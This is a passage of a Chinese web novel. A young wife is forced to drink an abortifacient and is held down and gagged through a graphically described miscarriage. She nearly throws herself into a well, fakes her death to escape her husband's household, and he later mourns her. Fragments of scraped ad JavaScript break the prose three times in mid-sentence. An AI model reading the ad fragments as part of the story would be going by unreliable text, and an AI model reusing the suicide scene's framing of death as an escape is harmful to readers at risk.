可如今,那个给她织就美梦的人亲手毁掉了这一切,留下的只有这一纸冷冰冰的文字。 他满心满眼全是他朝堂上的生意,何尝为她腹里的血亲考虑过! “反复无常,还真是反复无常……” 耿婳斜眼睨着这两人。杨氏有点心虚,嘴上道:“这也是为你着想。你现在癔症未愈,也不适合生养。等身子将养好了再生也不迟,那时伯琳的相位也坐稳了,你们何愁没孩子。” “你们来,就是领了他的命,让我喝这碗汤?” 魏家人一个个都是面善心狠的人物。而她的男人,比这两个婆娘更狠毒、更可恨。 还没等她们反应,耿婳接过那碗汤药,一饮而尽。 饮毕,瓷碗被她啪一声摔地上。她尚且鼓着脸颊,等汤水一点点流下去。 杨氏和柳惜君都看傻了眼。 “满意了吧?”她擦干嘴角,两眼如鹰隼一样盯着二人。 杨氏脊骨发凉,心虚地说不出话。柳惜君立刻遣丫鬟婆子进来,嘱咐着照顾她。自己却领着婆婆麻溜走了。 内室安静下来,耿婳才有时间感知身体。滚烫的汤水如岩浆一般流入肚里。她隔着被褥捂住隆起的肚皮,感受着腹内愈发明显的灼烧痛。 她的孩子就在里面,与突如其来的异物默默斗争,而后败下阵来。 绞痛袭来的时候,她被年纪大的妈妈掀起被子脱掉里裤。 她们要她小产排出已成形的死胎。 “用力!” “再用力!” 耿婳手指揪紧被褥,痛苦地蹙眉敛目。耳畔全是妇人们嘈杂的劝诫。她的下本身毫无遮掩的暴露在外,被一只只粗粝的手抓着。 身体不受控制,灵魂也在撕扯。这是精神和□□的双重折磨,她忍受不住,痛苦地悲啼起来。 隔扇外杨氏身旁的大丫鬟走进来,轻斥:“小声点!动静这么大,非要被人听了墙角才罢休!” “是是是。”老妈妈唯唯诺诺应下,旋即把一张不知哪来的破布揉成团硬生生塞进了耿婳的樱口。 “唔……”她刚要抗议,双手就被人按住,动弹不得。 “夫人多有得罪。我们只是奉命办事,您可别怪我们。再忍一会儿,一会儿就好。” 耿婳摇了摇头,无人在意。 那些人凑在她身下,扒拉着她的腿根,再说什么她全然听不进去。 耿婳闭上眼睛,泪水簌簌往下流。 上辈子到底做过什么伤天害理的事,能让老天爷如此罚她? 她阴差阳错嫁给喜欢的人,最后又换来了什么? 难道就是要在这里被人扒光衣服,屈辱地等着尚未见面的孩子提前去世? 娘亲,姑姑,还有这个娃,她一个也守护不了。 又不知道过了多久,身下的剧痛慢慢感受不到。只剩一颗心被捆在带刺的荆棘里,每跳动一下就要牵连痛楚,一次又次,慢慢变得支离破碎。 娘!快带我走!我一点也不想待在这里,一点也不想再活下去了…… 最后伴随着难以忍受的痛楚,她渐渐没了意识。 又不知过了多久,她才从晕厥中苏醒。缓缓睁开眼睛时,外面的天都黑了。 内室空无一人,她嘴里塞的布团还在,双手的禁锢已经不在了。她取下脏兮兮的布团,又将手伸进被子,摸到了平坦而带些褶皱的肚皮。 她的孩子不见了。 耿婳垂下手,空洞地望着窗外残阳。窗牖边忽而闪过两个人影,是青烟和阿沁。 “可算结束了,这一下午累死人。” “是啊。而且我偷看了一眼,那孩子都成了形,还是个男胎……” “你别可提了,血淋淋的,皮肉都不全,吓死人了。” “谁说不是呢,今儿晚上保不准要做噩梦了。” “听说那孩子的尸体被扔进了花园附近枯井里……” 耿婳捂住耳朵,把头缩进被窝,身体都在发抖。 另一边,远在兖州的魏巍白衣素带,于佛龛前敬香礼拜。 父亲去世的消息,隔了半月月才传过来。 “孩儿不孝,政务缠身不能以私废公。愿父亲的在天之灵谅解我,保佑魏家子嗣绵延,光耀门楣。” 他俯首告慰,一旁的玄海在铜盆里燃着纸钱。 安插在京城线人每隔半月就要来兖州给他汇报朝堂的风吹草动,这次又交代了洛阳最新的局势。 “家里呢?” “二爷来信了。”那人送上魏嵘写的家书。 “我不是说他。”魏巍道。 那人忙道:“太太身体康健,凌哥儿也活蹦乱跳的。” 魏巍眉目间的阴霾还没消散,玄海忙问:“大夫人呢?” “夫人她深居简出,许久没有消息,就连老爷葬礼也没露面。哦对了,二爷说信里有关于夫人的事,要和您商议。” 魏巍抽出信纸,一目十行。 “收拾东西,回洛阳。”读罢,他吩咐玄海。 “啊?” “回、回洛阳?” 魏巍停顿了一下,解释:“嗯,吊孝。” “吊孝?”玄海脸一白,“夫人她、她……” “是给老爷!”魏巍瞪了他一眼。 “噢。” “我去趟工地,你先准备。”他说完就出了值房。 玄海挠挠头,细看信纸。原来夫人有了身孕。 其实,魏嵘写这封信时,不知道自家夫人和母亲的串通。他个人觉得,应该由兄长决定这个孩子的去留。 而自从耿婳小产后,魏府上下都无人在意她了。 原先 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 至少还有参汤补品送来,现在连饮食都差了一大截。院里门可罗雀,阿沁和青烟惫懒至极,整日不知躲哪里偷闲,连膳食都要她自己去小厨房端。 望着那碗隔夜的蛋花汤,耿婳开始思考。 如果当初不嫁进来,是不是就不会有这么多痛苦烦忧?可如果不嫁进来,还不是要受耿家欺压,再被卖到大户人家当受气包? 娘亲不在了,姑姑不在了,藏在枕下的私房钱还被人偷了。她什么都没有,唯一当做仰仗的脂粉生意,也被魏巍那厮无情地掠夺摧毁。 她连最后安身立命的本事都没有了。 这么一来,在这个世界上,好像真没什么值得留恋的了。 耿婳倏地站起来,一溜烟儿走出房间,她也不知道要去哪里,只觉得那间屋子闷得人穿不过去。她在里面关了数月,没有自由,都是因为怀了孩子。 孩子…… 耿婳不知不觉又走到枯井旁。 听她们说,那孩子就是被扔进了这里面。 另一边,杨氏夜夜难眠,只好唤柳惜君过来。 杨氏拉着她的手,道:“最近也不知怎么回事,老是睡不好,感觉做了亏心事一样。” “母亲莫要乱想,这都是那人自找的。我们也是为了相爷的前程考虑。而且我听青烟说,耿婳那丫头已经疯了。” 杨氏心里咯噔一下,“疯、疯了?” “是啊。她最近常常独自去花园枯井边自言自语,整个人像丢了魂儿似的。你说说,这个样子怎么能当好相府主母呢?” 杨氏闭目,双手合十。想象着耿婳的疯癫模样,又是愧疚又是自责。 柳惜君又道:“母亲,现在可不是内疚的时候。当务之急是处理干净耿婳。她疯疯癫癫的,要是传出去岂不落人话柄?等丞相回来看到她这副模样,岂不晦气?” 杨氏眼含热泪,道:“谁说不是呢。伯琳忙前忙后,本想有个安稳后院做避风港。这倒好,当家主母疯癫痴傻,哪儿能为他分忧解难呢。” “嗯,既然耿婳不中用了。还不如……”柳惜君顺水推舟,欲言又止。 杨氏点头:“要是休妻,须得等我儿回来再做打算。” 柳惜君心里的小算盘打得飞起。耿婳要是不顶用了,正好可以给她妹妹让路。可要是等魏巍回来再做决定,恐怕夜长梦多。 万一耿婳在他面前施个美人计什么的,魏巍血气方刚的大男人,没准真就心软上当了。 柳惜君怎会允许这种事发生,她说:“相爷最注重面子名声,舍弃结发夫妻这种事,若无外力助推,他就算想,也不会明面去做啊。” “这正是需要您出面解决呢。” 杨氏又觉得她说得有理,糊里糊涂道:“容我三思。” 耿婳坐到井边,双手撑着井壁,望着黑黝黝不见底的深井。 “你可别怪我喝了杀死你的汤药,是你爹爹不要你了,娘亲也没办法。要怪就去怪他好啦。” “娘亲没给你烧纸,因为没有钱买。你现在先不要慌,我马上去陪你。然后带你去找外婆和熹微,我们一家人一起过日子……” 耿婳叨叨完,双腿伸进井壁,刚要纵身一跳,却被石子打中后颈。 她扭头往后望,看到墙头上一个模糊的少年。 因为常常熬夜赶工给魏巍做靴,她的目力变得极差。明明隔得不远,她却看不清来人。 听声音倒是熟悉,应该是伍听肆。 墙头上,翘腿坐着个高马尾少年,正把玩着手中小石块。 伍听肆道:“婳婳,好久不见!” “小肆哥哥?” 耿婳摸着后颈,颓靡的精神因疼痛恢复了几分清明。 伍听肆一跃而下,朝她走来:“喂喂喂,这么快就想走?你对得起我嘛你。” 她还没来得及回话,就被他从井边拉了回来。 几月未见,她素面朝天,憔悴清瘦,之前的爽朗和明快被这深宅后院磨了个干干净净。 “那天你回府后没了音信。我实在联系不上你,后来我爹有急事命我回扬州,刚忙清那边就回来找你了。” “说说吧,发生了些啥。” 24. 024 耿婳把监禁到有孕再到小产的事前前后后倾诉了个干干净净。 说完,她呼出一口浊气,发泄后深重的怨念消了大半。她经历了一切,也顺便看淡了一切,已经大彻大悟,没必要为凡尘之事操心了。 伍听肆听完哈哈大笑,笑得前仰合后。 他擦掉笑出来的泪花,来了一句:“就、就这?” 她所经历的身心之痛,到了他这里却成了一句云淡风轻的玩味。 耿婳知道他和自己是不一样的。伍听肆从小跟着父亲走南闯北,经历人心险恶的江湖,追名逐利的生意场。在他看来,深宅大院里的钩心斗角根本上不了高台盘。 伍听肆带她躲进无人的角落,席地而坐,就跟小时候一样。伍听肆肆意妄为得躺在一方草地上,翘腿支头。 他问:“刚刚是想寻死?” 耿婳环抱双膝,回道:“嗯。感觉活着也没什么意思。还不如去找娘亲她们,一了百了。” 伍听肆笑道:“你娘亲要是知道你当下这蠢样儿,恐怕要被气活过来。” 他又道:“她们肯定不想你这样,你又何必轻生。” “可是我真的好想她们呀,阴阳相隔见不到,真的好痛苦。”耿婳抓着头嘟囔着,“在人间什么都没有了,你说我还活着干什么。” “这不还有我嘛!” 伍听肆脱口而出,又觉得不妥,干咳几声迅速道,“你再使劲想想,你活着还有没有没实现的心愿。等把心愿满足了,再走也不迟嘛。” 要说有什么遗憾没实现,那就是——“我的脂粉生意没做好,就被魏巍毁掉了,他真是个贱人。” 仔细想想还真是这样,她的人生从迈入魏家门槛起,就被魏巍攥得死死的,从生意无疾而终到身孕小产,一切的痛苦都是拜这个男人所赐。 她好悔,她好恨。 “所以呢,你能这么轻易放过他?要是一走了之,和投降认输有什么两样?”伍听肆道。 “你小时候为了娘亲活,做任何事都想着不能让她伤心难过。她去世了,你又开始为你爹活,万事谨慎步步小心,生怕被他弃之不顾。好不容易熬到出嫁,于是你又为夫君活,处处体贴事无巨细,生怕糟他嫌弃成了弃妇。再后来你有了身孕,又要为孩子活,惶恐后半生没了倚仗靠山,结果到最后什么也没得到。” “我虽然年纪小,但我总结了,人这一生,仰仗别人是不会长远的。求人不如求己,求救不如自救。你可以试试只靠自己活,活得自私一点,自利一点,也许会有转机。” 耿婳问:“什么转机?” “想不想离开洛阳,去全新的地方,变成一个新模样,过全新的生活。” 耿婳一怔:“全新的生活……” “对,到时候我带你去一个没人认识你的地方,你可以开一间属于自己的脂粉铺子,搞鼓点小生意,挣点小钱,一个人无拘无束过日子。不比困在丞相府的深宅大院愁眉苦脸强?”耿婳两眼泛光,她好像被诱惑了。而她这十七年一直这样,从来没有想过为自己认真活下去。好像她生来就天生该依附外界,成为一朵柔弱的菟丝花。 人往往都要被迫活在礼教和权威的审视之下,无法完全成为个人理想中的真实自我。 而现在,最信任的朋友,朝她递来橄榄枝。她可以去一个没有人认识你的地方,重新活一次,成真正的自己。 这是一个可以扭转人生的机会,而她确实心动了。 “可是我怕……” 明明想要改变,却还瞻前顾后,患得患失。 伍听肆就知道她会犹豫拧巴,直接道:“你怕什么?你可是连死都不怕的人。” “……这倒也是。”耿婳莞尔一笑。 现在的她无牵无挂,她什么都没有,自然也什么都不怕。她失败的沉没成本很小,更应该放手一搏。 会畏手畏脚的应该是魏巍这样的人,他拥有的太多,自然不会珍惜。他可以理所当然地享受着践踏着属于他的一切。 等哪天失去了最有价值之物,也许才会懊悔吧。 但那又跟她有什么关系呢。 他可以在她孕期不管不顾,以一纸信轻松结束一个孩子的生命,那她也能挣脱他的束缚,去追寻自己的理想,再也不回来。 “越是一无所有,越要义无反顾。你想不想试试为自己活着。我告诉你婳婳,那种生活会比你想象的更精彩,更舒服。” 伍听肆一直觉得,女子就该和男子一样去外面更广阔的天地闯荡。留在死气沉沉的大宅子里能干什么,难道要给不爱自己的男人冷脸洗内裤吗? 伍听肆拉住她的腕子,扶她起来:“跟我走吧,耿婳。” 耿婳点头道:“现在还不是时候,我要先善后。” 她要先把魏府的事处理好。如果意外逃走,定会引起轩然大波。以魏巍的人脉手腕,找到她不是难事。 东窗事发时,一定会连累伍听肆,得不偿失。 不如趁魏巍在外,魏家无主,和杨氏达成交易,好好商谈。 杨氏是个刀子嘴豆腐心的蠢笨之人,平日又没主见,常常被柳惜君教唆着干坏事。还成了替她挡枪的盾牌。 自从她小产失疯后,杨氏常命身边丫鬟探望,还请了跳大绳的人除晦。 要说她心中没有一丝愧疚,耿婳是不信的。 这一次,她要离开,就要从杨氏身上下手。她这人清心寡欲,常年礼佛,还算有几分慈悲心。一见耿婳来了,眼里果真有了几分愧色。 杨氏忙命人赐座敬茶,眼神躲躲闪闪地不敢看耿婳。 耿婳倒是全然不惧,一双眼睛死死盯她,瞳孔却没有光线聚焦,如今又是深夜。她一人前来,不带丫鬟仆从,多少有点吓人。 她越是坦坦荡荡,杨氏心里愈发没底。她除掉的那个孩子,有一部分可能是魏家血脉,一想到这儿,她就整宿整宿睡不好觉。甚至后悔打胎之举过于草率,这些天思来想去,确实日渐消瘦了。 杨氏这几日正愁耿婳的事,赶巧这人就自动上门了。 “母亲看着心绪不佳,难不成还为我腹中胎儿伤神?”夜深人静,耿婳发出银铃般的笑容。窗外惊起几只蝙蝠,扑闪着翅膀尖叫着飞走。 烛火下,耿婳的脸显得空洞又瑰丽,像个不再装模作样的画皮,下一秒或许就会轻易扯开人皮,露出鬼相。 “我都不介意,您老人家介意什么。” 杨氏还在嘴硬:“我介意什么,那是你和外面人生的野种,我怕污了魏家门楣,这才必须除去。” “那您真有心了。也许光除去孩子还不够,如果一并除去我,想必更好。那样就能给丞相续弦一位门当户对的夫人。如此一来,还能和满身污点的耿忠一家彻底划清界限,丞相也好在朝廷翻云覆雨,不受掣肘。岂不美哉?” 耿婳笑道:“您说是不是?” 杨氏额头冒汗,道:“是什么是。你就是我魏家名正言顺的媳妇,再无其他。” 就知道她会虚伪客套,说这些冠冕堂皇的假话。耿婳冷笑一声,一双眼如捕猎的狸花猫一样,死死咬住杨氏目中愧色。 “可惜我已经疯了。这要是传出去,岂不脏了相府清明,给魏巍蒙羞?你肯定也嫌弃我,想着魏巍回来,让我们和离是不是?可就算和离,外人也不会真这么想。他们只会说,魏家位高权重,依仗着家族势力欺负没有身份背景的弱女子。” 耿婳歪头笑,“你想啊,到时候名誉受损的还是你们魏家。倒还不如,我一走了之,你们风风光光给我办一场葬礼。这样面子里子都赚足了,也完成了把我踢出局的目的。一举两得,不是吗?” 她所谓的“一走了之”,有两种含义。 一种是真的撒手人寰,远赴阴间。另一种则是……假死逃走,永远离开魏家视线。 杨氏瞅了眼看上去精神还算正常的耿婳,心想她一定是想选后者。 其实她心里也盼着她走人。她不是那种蛇蝎心肠的老妇人,再讨厌耿婳也不至于有谋害之心。她只是觉得她从一开始就不该进门,如果耿婳愿意主动退出,离开魏家,也省的她整日操心忧神。 杨氏动了心。可她偏偏大事小情不敢拿主意,只道:“我得和柳二奶奶商量一下。” 她刚要动身,就被耿婳一把按住。 “柳惜君肯定愿意我走人,她巴不得我快点走。既然是场谋划,知道真相的人越少越好。你若告诉她,她准要和她身边信得过的人嚼舌根,或许还要和她夫君说一说,一传十十传百,万一传到了前朝政客耳里,保不齐又是一场官场纷争,到时候岂不是又要给揪住小辫子,被人拉踩参奏?你还想不想要你儿子好过?你要是想,就赶紧连夜陪我准备后事!” 耿婳一口气说完,丝毫没给杨氏喘息的机会。这人果真是个绣花枕头,被她一阵输出后又开始犹犹豫豫。 “要不,等我儿回来再商议。你毕竟是他的妻……” 杨氏一生过得顺风顺水,官宦家的大小姐自小被宠着,嫁给一个长她十岁处处体贴的夫君,一生很少做亏心事,说她是个傻白甜也不为过。可就是这么个欺软怕硬的草包,恰恰把最亏心的一些算计全用在了耿婳身上。 耿婳气笑了:“你哪只眼睛看出来他喜欢过我在意过我?他巴不得我赶紧滚呢,只是师出无名罢了。现在你把他房里碍事的人提前处理掉,他肯定千恩万谢,没准儿心里偷着美呢。” 说完,她不知怎的眼圈微微有点红。她明明,明明早就不在意他了。 耿婳倒吸一口凉气,把鼻尖那股酸涩挡了回去。无所谓,反正这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个伤她心的人马上就可以从她的世界滚蛋了。 “有理有理。”杨氏点头:“也是,我儿确实不喜欢你这样的。” 耿婳道:“所以说现在你不需要通知任何人,只当我已经死了。未来的三天内,先传出风声说我受了风寒,再过三日病入膏肓,最终死在夜深人静的晚上。记得命信得过的人提前采买丧仪用品和棺材板,哦对了,我要红木的。还有我耿婳对天起誓,离开洛阳后绝不纠缠魏家,绝不把当过丞相夫人的事抖搂出去。以后,我和魏巍路归路,道归道,一别两宽!” 杨氏听得一愣一愣的,耿婳见她心不在焉,竖起柳眉:“听到了没有!” 她又拿出事先准备好的两份字据,“这事天知地知你知我知。我在上边写得明明白白,你我各持一份,签字画押。你要是敢说出去,你儿就一辈子仕途坎坷,不得好死!” 耿婳硬生生逼她发了毒誓。杨氏又惊又惧,见她准备的这么充分,知道她是铁了心要走。 她吐出口浊气,签上名字。之后的几日,按照耿婳的计划谋事。又将耿婳院里青烟阿沁一众丫鬟重新拨给柳惜君,另送去几个信得过的老婢守着耿婳。 柳惜君早从青烟那里得知耿婳有轻生念头,可万万料到她会毫无预兆地病重。她私下问杨氏,隐隐感觉到了猫腻。无妨,反正除去一个碍眼的,正合她心意。 而魏嵘从一开始就没把这个名义上的大嫂当回事儿,如今听说他要撒手人寰,只张罗柳惜君好好操办后事,别出岔子被外人耻笑。 柳惜君还没从老爷子葬礼的操劳中缓过劲儿来,又要再受累烦心,哪能没怨气。这次婆婆杨氏倒是知道疼她,忙前忙后的替她分忧解难。 在计划好“去世”的那天夜里,耿婳提前收拾好了自己。 她穿了件自己最喜欢的石榴裙,梳了漂亮的飞天髻,浓妆艳抹,妩媚动人。她以鲜红瑰丽的模样,庆祝自己的“死亡”。 杨氏正悄悄命人布置棺木,将木雕的假人塞进去顶替。 这么拙劣的技巧估计瞒不过伶俐的柳惜君。但是没关系,耿婳料定她就算猜到实情也不会声张。 因为柳惜君本来就一直盼着她消失。真死假死又有什么关系呢,反正只要耿婳退出魏家,不再碍她的事,她就满意了。 耿婳简单收拾好行囊。她要带走的东西不多,只有几件换洗衣物和母亲的遗物。 外面白茫茫的布置,与她一身红艳艳的装束形成鲜明对比,所有人都向她投来陌生的眼神。 她现在有点像离职员工最后一天在单位做工作交接,明明所有人都认识她,却要假装和她不熟。 无所谓,从迈出魏家门槛的这一刻起,灵魂就要重新回到体内,不再收任何人的束缚和控制。 她要彻底自由了。 想到这儿,耿婳浑身热血奔腾,兴奋得全无倦意。四更时,杨氏亲自带她从后花园角门离开。 踏出魏家地盘后,她踩到了街巷的石板,忽而有种脚踏实地的自足和闲适。 秋夜微凉,清风吹过透着几分刺骨的阴寒。她浑不在意,仰头呼吸着自由的空气。她刚要快走两步,却被后面人轻唤。 她一扭头,看见了以前的婆婆杨氏。 “你找我干什么?忘了之前的字据?”自她出门后,她和魏家人再也没关系。她不去搭理他们,他们也别来招白她。 黑暗里,杨氏的脸被身旁掌灯的丫鬟照得有些昏黄而柔软。不知为何,杨氏给耿婳一种“人之将死,其言也善”的感觉。 她什么也没说,递给耿婳一张信封和一个沉甸甸的锦囊。 “拿去吧,以备不时之需。” 耿婳打开一看,锦囊里装着散碎银子,信封里装的是五张一百两银票。 原来是封口费。 耿婳嘴角勾起讥笑,谁稀罕说你们家的破事儿。 话虽如此,可是她不会跟钱过不去的。 “后会无期。”耿婳干巴巴说完,把钱揣到怀里,快步消失在黑夜中。 绯红的衣裙被皎洁的月光照得发亮,她就像夜里的太阳,循着光消失在黑暗。迎接她的,是黎明的新生。 丫鬟随杨氏在夜风中站了许久,回去路上她不解问:“太太给她那么多,岂不亏了。” “罢了罢了。反正一辈子见不到了。她也算是可怜人,在府里受了些苦,不给够银子出去定会说魏家坏话。那些钱给她,就当积德行善了。” “太太真是慈悲心肠。” 耿婳无家可归,流落江湖要如何度日,杨氏一概不知,还有一场盛大的殡葬等她处理,没空在这儿伤春悲秋。 耿婳这一走,彻底消了她的心头刺。魏巍回来肯定也乐得自在。过段日子再明媒正娶个有身份的官宦女子为妻,她就彻底放心了。 25. 025 魏巍这次回京比预估的时间晚了些。 耿婳怀孕的消息让他欣喜万分。那些制粉的东西他完好无缺地保留在书房暗室里,回去第一时间拿给她。 不知道孕妇能不能接触那些香料香粉,他必须找太医过目。 之前的争吵过了近半年,她温柔懂事,肯定不会与他计较。 数月不见,他旷得厉害。耿婳的身影常常入梦,醒来时常常精满自溢。 这次,他要回来看望妻子。 还有腹中胎儿。 不知道他家小夫人在做什么。她那么贤淑,给他做完靴子,一定会给宝宝缝小衣服。或许现在她就倚在榻上焦急地盼他。 隔着微微支起的轩窗,魏巍垂眸望着街巷,翘起的嘴角压都压不下。 马车停在魏府大门前,侍卫身着孝服,一脸肃穆。魏巍下车仍纳闷,父亲一月前去世,怎么现在还…… 他一身华衣出现在挂满白绫白灯笼的魏府门前,显得格外眨眼。路过的百姓也驻足嘀咕起来。 不祥的预感自嫩芽般从心底抽出。萧瑟秋风吹过,魏巍后颈一寒,脑子也跟着嗡嗡作响。 一路上仆役丫鬟皆穿孝衣。整个魏府,白茫茫一片。革靴踩在铺满白色纸钱的地面上,许是过于光滑,他疾行之下险些摔倒。 难道是母亲…… 他忘了自己是怎么到的前堂,好像丢了魂儿一般,直到看见那口棺木。 杨氏见他不告而来,甚是惊慌。 魏巍看了眼鲜活的杨氏,心里更乱了。 魏嵘身着孝服前来,劝他节哀。柳惜君哭哭啼啼福礼,告知他耿婳病故的消息。 哀乐齐鸣,哭哭戚戚。 “什么?” 魏巍望着那口棺木,胸膛不自觉开始起伏。 眼前的画面变得灰白黯淡,耳畔是无尽的耳鸣。魏嵘的嘴一张一合,下人的哭泣,乐师的哀奏,魏巍半分都听不到。 强烈的轰隆声传至颅内,伴随着某个念想的崩塌,骨软筋麻的阵痛袭击四肢百骸,魏巍如同失去灵魂的皮囊,膝盖一软,险些摔倒。 玄海扶住他。 他攥紧玄海的手臂,额头渗出细密的汗珠,“你说什么。” “大奶奶身子本来就弱,孕期胎象不稳,每日害喜,请了太医来治也不见好转。本以为风寒事小,没想到竟然、竟然……”柳惜君泪眼婆娑,埋到魏嵘胸前哭了起来。 魏巍面白如纸,像什么情绪都没有,又好像所有情绪都凝固在一起。 他努力平复呼吸,“你再说一遍。” 魏嵘劝道:“大哥,人死不能复生,节哀顺变。嫂嫂仙去摆脱人世之苦,也是好事。” “信里怎么不提?!”魏巍吼他。 魏嵘吓得身形打战,他何时见过体面的大哥如此失态过! 柳惜君上前,哽咽道:“是嫂嫂怕您分心,不让我们提。当时病得轻,我们只当是害喜,没想到会……” 她没说完,又呜呜哭起来。 魏巍设想过一万种重逢画面,可万万想不到耿婳会与他阴阳相隔。 他颓然坐在棺木旁,一守就是一宿。 闭上眼睛,她的身影渐渐浮现。 脑海里婀娜妩媚的少女,穿着与气质毫不相符的素雅衣裙,静静给他磨墨。只要她在他身边,永远都是一副提心吊胆却又沉静温和的贤淑模样。 可他每每忙于案牍,从不顾家。哪怕他凶她,对她出言不逊,她也总会替他找补理由,然后默默吞下苦果,再自顾自地原谅他。 潜意识里,魏巍一直把她的陪伴和付出视为理所应当,如同衣来伸手一般再寻常不过的事。 习惯之后,他从未有过半分愧疚。他心安理得的认为,娶她进门就是法外开恩,原谅她于青云楼春宵的算计,就是对她最大的恩慈。 他最喜欢收藏美物。第一次瞧见耿婳极艳极美的外表时,心想即使用处不大,藏在屋里做个花瓶也是极好的。 时间还很长,未来的日子会很久。只要她愿意陪着他,他可以细水长流地慢慢弥补。 多么可笑的想法。 魏巍拿过她的檀木牌位,轻轻掸掉其上的纸钱灰屑,“耿婳啊耿婳,你怎么走得这么急,都不等我回来看你最后一眼。” 手拂过牌位凹处的字体,一滴泪珠陡然落在上面。 他垂眸轻声:“我知道,你一定怨我厌我,不想见我。摊上这么个不顾家的混账当夫君,一定是你一生最大的耻辱……” 魏巍瘫坐在棺木旁,抱着牌位喃喃自语,清冷的月光洒进来,照亮他落寞的侧脸。 悄悄进来的玄海看见这一幕,一时讶然。他静静站在那处,直到魏巍注意到自己,才慢慢靠近。 玄海给主子披上厚实的斗篷,“相爷当心身体,一天不吃不喝的,身体怎么受得住……” 他话没说完,细看才注意到魏巍眼底泪痕,一时怔得说不出话。 “出去。” 玄海愣是没动,他奉命前来,就为了带他回屋休息。 “相爷节哀,夫人和腹中胎儿泉下有知……” “我让你出去!” “是是是。”玄海放下漆盘里的热汤,不敢多说一句话,灰溜溜撤了。 灵堂再次安静下来,魏巍把牌位上沾染的泪水擦干,旋即又滴落了新的,擦来擦去,怎么也擦不完。 她生前,他从没耐心陪过她。现在她走了,留他一人,满腹衷肠无人诉。 魏巍吹了一夜穿堂寒风,第二天被发现时,抱着灵牌昏睡过去。 再醒来时,他正躺在耿婳的拔步床上。 杨氏守在床边,关怀道:“太医说你思虑过度,要静养才行。你也是,昨儿回来就不思茶饭,身子都熬坏了。” 说着,她递过一碗他爱喝的鱼汤。 一醒来,失去耿婳的沉郁感瞬间充斥全身,他哪里会觉得饿。 杨氏眼角挂着泪,关切地看他,似乎觉得他的病比这次葬礼更重要。 魏巍胡乱应付两口,汤水入腹,干巴巴的没什么味道。直到看见儿子亲口喝了鱼汤,杨氏才松了口气,出了房间。 魏巍屏退室内下人,玄海却没从屋里出去。他受了杨氏嘱托,务必跟在主子身边伺候。一见主子掀被下床,玄海刚要阻止,就被他一把推开了。 魏巍从没停下来观察过这间婚房。 这是耿婳生前待过最久的地方,他却从来没有在这里好好陪过妻子。 梳妆台首饰尚在,矮几上那双她亲手织就的被他嫌弃的皂靴已经积了灰。 魏巍拿起来给自己换上,又在旁边笸箩里看到那些发旧的革料。 魏巍攥紧那片革料,手心瞬间沾满灰尘。下一刻,灰尘被湿热的泪滴打散。 她一定对他失望至极,自他走后就没动过针线。 都是他不好。不体贴也不温柔,还常常冷言冷语。而她总是意味讨好,一次又一次自顾自原谅他,反而把他惯得更加肆无忌惮。 他没有内宅的后顾之忧,可以全身心投入到朝廷的争斗中去。甚至全然没在意过她的死活。他从没想过商人出身的妻子在人前人后会受多少非议排挤。 她何时怀孕他不知,她何时去世他也不知。夫妻一场,他甚至没有正经陪过她一刻。 他位高权重,人前光鲜亮丽,人后竟然是个不顾妻儿的畜生。 魏巍垂下头,袖中攥拳,表情隐没在阴暗中。 玄海看他萎靡不振的神情,就知道一定睹物思人了。他上前,刚想劝她振作一点,却听到主子的低问。 “玄海啊,你说为什么,人总在失去后才懂珍惜。” 玄海愣怔了一会儿,才道:“相爷,小的是个笨的,不懂那些大道理。但跟着主子这么多年,也读过几篇书,记得您教过一句,‘悟已往之不谏,知来者之可追’。与其感伤没把握住的,不如做好眼前的。毕竟夫人若在,一定不想见您忧思伤神。” 魏巍缓住情绪,顺着玄海的思路神游。耿婳的灵魂若在府上,会不会像玄海说得一样默默 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 牵挂着他? 或许会吧。他自我安慰着,心里才好受了点。 如今唯一能做的,只有陪她走完入土前的流程。 送葬那天,他一身素白孝服,亲持纸幡,陪着棺木徒步而行。他请了京郊御庙高僧超度,将连夜写的诔文烧给她。 墓前,漫天的纸钱飞舞飘散,与他随风飘舞的衣袖融为一体。 秋日萧瑟的风呼啸而起,将他的思念带到云端。 耿婳,若你在天之灵早日步入轮回,重活一世,不受凡尘框束,做一个自由自在有血有肉的精灵。 我若有来世,定不负你。 两个月后,耿婳随伍听肆到了扬州。 最开始,她在伍听肆新开的胭脂铺子里做杂役。一同做工的姑娘们看出她心善,最爱找她帮忙做事。 耿婳总算交到了新朋友,最热衷帮人跑腿干活。一来二去,她成了最勤快的,那些人反而懒了。 伍听肆家中生意大,偶尔来店里巡查,才发现这事。 他叫来耿婳,问她:“你手里碎银是干嘛的。” 耿婳告诉他,这是帮彩月买蜜枣的。 伍听肆问:“为什么帮她买?” 耿婳道:“顺手的事儿啊,我正好出去送货。” 她说完就要出门,又被伍听肆呵斥回来。 “你怎么老白帮人做事?” 他的话,耿婳其实没听太懂。 “婳婳,我还不知道你。从小缺爱还没朋友,总是想着讨好别人换来关怀。但我告诉你,那些喊你帮忙的人,她们才不会记你一定点儿好,她们当成理所应当,以后只会变本加厉!” 耿婳低着头,思索着来龙去脉。还真被伍听肆说对了,她最开始帮了一次,后来次次都来找她。她们知道她好说话,即使有些事自己能做,也惫懒起来,次次喊她帮忙。 耿婳喃喃道:“可是,我不好意思拒绝她们。” 她从小被关在深宅大院里,一直活得小心翼翼,生怕举止间让别人不高兴。这些习惯早就刻进骨子里。 “你不给她们添麻烦,所以她们的麻烦也不该来找你。别不好意思拒绝别人,她们都好意思难为你,你又有什么好扭捏的?” 伍听肆命令道:“去,把银子还回去。给她把话说清楚,让她有事儿别来烦你!” 耿婳为难地杵那里,一动不动。 伍听肆又催道:“去吧,我看着你。” 耿婳道:“可是她凶我怎么办?” “她凶,你就比她更凶。她横,你就比她还横!你只要不怯,怂的就是她们!”伍听肆道,“我告诉你耿婳,只要你肯展示一回脾气,她就再也不敢找你的事儿!” 耿婳目光闪烁,捏紧碎银,忐忑地点头,“好吧……” “说清了?”耿婳再回来时,伍听肆问。 耿婳不安地“嗯”了一声。 “怎么了,魂不守舍的?”伍听肆又问。 耿婳还是那副杞人忧天的表情,嘟囔道:“我担心,彩月以后就不理我了。也许还会跟别人说我坏话,到时候我就一个朋友也没了。” “就这?”伍听肆笑了一会儿,严肃地说:“我问你,你来店里忙前忙后就是为了交朋友?” 耿婳摇了摇头。 